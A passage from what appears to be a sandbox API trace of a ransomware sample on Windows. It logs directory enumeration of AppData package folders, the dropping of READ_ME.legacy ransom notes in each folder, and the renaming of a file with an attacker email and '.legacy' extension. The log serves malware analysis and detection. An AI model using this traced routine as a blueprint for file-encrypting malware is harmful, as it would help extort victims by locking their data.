pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.391] WriteFile (in: hFile=0x11a0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.391] WriteFile (in: hFile=0x11a0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.391] CloseHandle (hObject=0x11a0) returned 1 [0161.392] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\roaming.lock.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\settings\\roaming.lock.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.393] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61358 [0161.393] SetLastError (dwErrCode=0x0) [0161.393] GetLastError () returned 0x0 [0161.393] SetLastError (dwErrCode=0x0) [0161.393] GetLastError () returned 0x0 [0161.393] SetLastError (dwErrCode=0x0) [0161.393] FindNextFileW (in: hFindFile=0x2f61358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.394] SetLastError (dwErrCode=0x0) [0161.394] GetLastError () returned 0x0 [0161.394] SetLastError (dwErrCode=0x0) [0161.394] SetLastError (dwErrCode=0x0) [0161.394] FindNextFileW (in: hFindFile=0x2f61358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.394] SetLastError (dwErrCode=0x0) [0161.394] GetLastError () returned 0x0 [0161.394] SetLastError (dwErrCode=0x0) [0161.394] SetLastError (dwErrCode=0x0) [0161.394] FindNextFileW (in: hFindFile=0x2f61358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.394] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1028226, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61718 [0161.394] SetLastError (dwErrCode=0x12) [0161.394] GetLastError () returned 0x12 [0161.394] SetLastError (dwErrCode=0x12) [0161.394] GetLastError () returned 0x12 [0161.394] SetLastError (dwErrCode=0x12) [0161.394] FindNextFileW (in: hFindFile=0x2f61718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1028226, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.394] SetLastError (dwErrCode=0x12) [0161.394] GetLastError () returned 0x12 [0161.395] SetLastError (dwErrCode=0x12) [0161.395] GetLastError () returned 0x12 [0161.395] SetLastError (dwErrCode=0x12) [0161.395] FindNextFileW (in: hFindFile=0x2f61718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.395] SetLastError (dwErrCode=0x12) [0161.395] GetLastError () returned 0x12 [0161.395] SetLastError (dwErrCode=0x12) [0161.395] SetLastError (dwErrCode=0x12) [0161.395] FindNextFileW (in: hFindFile=0x2f61718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.395] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x377598d9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f614d8 [0161.395] SetLastError (dwErrCode=0x12) [0161.395] GetLastError () returned 0x12 [0161.395] SetLastError (dwErrCode=0x12) [0161.395] SetLastError (dwErrCode=0x12) [0161.395] FindNextFileW (in: hFindFile=0x2f614d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x377598d9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.395] SetLastError (dwErrCode=0x12) [0161.395] GetLastError () returned 0x12 [0161.395] SetLastError (dwErrCode=0x12) [0161.395] SetLastError (dwErrCode=0x12) [0161.396] FindNextFileW (in: hFindFile=0x2f614d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd107f5ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833d38ba, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0161.396] SetLastError (dwErrCode=0x12) [0161.396] GetLastError () returned 0x12 [0161.396] SetLastError (dwErrCode=0x12) [0161.396] SetLastError (dwErrCode=0x12) [0161.396] SetLastError (dwErrCode=0x12) [0161.396] GetLastError () returned 0x12 [0161.396] SetLastError (dwErrCode=0x12) [0161.396] GetLastError () returned 0x12 [0161.396] SetLastError (dwErrCode=0x12) [0161.396] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\ac\\inetcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11ac [0161.397] WriteFile (in: hFile=0x11ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.398] CloseHandle (hObject=0x11ac) returned 1 [0161.398] FindNextFileW (in: hFindFile=0x2f614d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd107f9e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833d38ba, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0161.398] SetLastError (dwErrCode=0x0) [0161.398] GetLastError () returned 0x0 [0161.398] SetLastError (dwErrCode=0x0) [0161.398] SetLastError (dwErrCode=0x0) [0161.398] SetLastError (dwErrCode=0x0) [0161.398] GetLastError () returned 0x0 [0161.398] SetLastError (dwErrCode=0x0) [0161.398] GetLastError () returned 0x0 [0161.398] SetLastError (dwErrCode=0x0) [0161.398] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\ac\\inetcookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11ac [0161.399] WriteFile (in: hFile=0x11ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.400] CloseHandle (hObject=0x11ac) returned 1 [0161.400] FindNextFileW (in: hFindFile=0x2f614d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd107fe0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833d38ba, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0161.400] SetLastError (dwErrCode=0x0) [0161.400] GetLastError () returned 0x0 [0161.400] SetLastError (dwErrCode=0x0) [0161.400] SetLastError (dwErrCode=0x0) [0161.400] SetLastError (dwErrCode=0x0) [0161.400] GetLastError () returned 0x0 [0161.400] SetLastError (dwErrCode=0x0) [0161.400] GetLastError () returned 0x0 [0161.400] SetLastError (dwErrCode=0x0) [0161.400] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\ac\\inethistory\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11ac [0161.403] WriteFile (in: hFile=0x11ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.404] CloseHandle (hObject=0x11ac) returned 1 [0161.404] FindNextFileW (in: hFindFile=0x2f614d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed22da0b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed22da0b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed22da0b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.404] SetLastError (dwErrCode=0x0) [0161.404] GetLastError () returned 0x0 [0161.404] SetLastError (dwErrCode=0x0) [0161.404] SetLastError (dwErrCode=0x0) [0161.404] FindNextFileW (in: hFindFile=0x2f614d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd108027c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833d38ba, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0161.404] SetLastError (dwErrCode=0x0) [0161.404] GetLastError () returned 0x0 [0161.404] SetLastError (dwErrCode=0x0) [0161.404] SetLastError (dwErrCode=0x0) [0161.404] FindNextFileW (in: hFindFile=0x2f614d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd108027c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833d38ba, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0161.404] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd10808b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61658 [0161.405] SetLastError (dwErrCode=0x12) [0161.405] GetLastError () returned 0x12 [0161.405] SetLastError (dwErrCode=0x12) [0161.405] GetLastError () returned 0x12 [0161.405] SetLastError (dwErrCode=0x12) [0161.405] FindNextFileW (in: hFindFile=0x2f61658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd10808b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.405] SetLastError (dwErrCode=0x12) [0161.405] GetLastError () returned 0x12 [0161.405] SetLastError (dwErrCode=0x12) [0161.405] GetLastError () returned 0x12 [0161.405] SetLastError (dwErrCode=0x12) [0161.405] FindNextFileW (in: hFindFile=0x2f61658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.405] SetLastError (dwErrCode=0x12) [0161.405] GetLastError () returned 0x12 [0161.405] SetLastError (dwErrCode=0x12) [0161.405] GetLastError () returned 0x12 [0161.406] SetLastError (dwErrCode=0x12) [0161.406] FindNextFileW (in: hFindFile=0x2f61658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.406] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1080f06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61818 [0161.406] SetLastError (dwErrCode=0x12) [0161.406] GetLastError () returned 0x12 [0161.406] SetLastError (dwErrCode=0x12) [0161.406] GetLastError () returned 0x12 [0161.406] SetLastError (dwErrCode=0x12) [0161.406] FindNextFileW (in: hFindFile=0x2f61818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1080f06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.406] SetLastError (dwErrCode=0x12) [0161.406] GetLastError () returned 0x12 [0161.406] SetLastError (dwErrCode=0x12) [0161.406] GetLastError () returned 0x12 [0161.406] SetLastError (dwErrCode=0x12) [0161.407] FindNextFileW (in: hFindFile=0x2f61818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.407] SetLastError (dwErrCode=0x12) [0161.407] GetLastError () returned 0x12 [0161.407] SetLastError (dwErrCode=0x12) [0161.407] GetLastError () returned 0x12 [0161.407] SetLastError (dwErrCode=0x12) [0161.407] FindNextFileW (in: hFindFile=0x2f61818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.407] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8333af6e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd10812d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61698 [0161.407] SetLastError (dwErrCode=0x12) [0161.407] GetLastError () returned 0x12 [0161.407] SetLastError (dwErrCode=0x12) [0161.407] GetLastError () returned 0x12 [0161.407] SetLastError (dwErrCode=0x12) [0161.407] FindNextFileW (in: hFindFile=0x2f61698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8333af6e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd10812d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.407] SetLastError (dwErrCode=0x12) [0161.407] GetLastError () returned 0x12 [0161.408] SetLastError (dwErrCode=0x12) [0161.408] GetLastError () returned 0x12 [0161.408] SetLastError (dwErrCode=0x12) [0161.408] FindNextFileW (in: hFindFile=0x2f61698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.408] SetLastError (dwErrCode=0x12) [0161.408] GetLastError () returned 0x12 [0161.408] SetLastError (dwErrCode=0x12) [0161.408] GetLastError () returned 0x12 [0161.408] SetLastError (dwErrCode=0x12) [0161.408] FindNextFileW (in: hFindFile=0x2f61698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.408] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8336128a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd10816d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61758 [0161.408] SetLastError (dwErrCode=0x12) [0161.408] GetLastError () returned 0x12 [0161.408] SetLastError (dwErrCode=0x12) [0161.408] GetLastError () returned 0x12 [0161.409] SetLastError (dwErrCode=0x12) [0161.409] FindNextFileW (in: hFindFile=0x2f61758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8336128a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd10816d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.409] SetLastError (dwErrCode=0x12) [0161.409] GetLastError () returned 0x12 [0161.409] SetLastError (dwErrCode=0x12) [0161.409] GetLastError () returned 0x12 [0161.409] SetLastError (dwErrCode=0x12) [0161.409] FindNextFileW (in: hFindFile=0x2f61758, 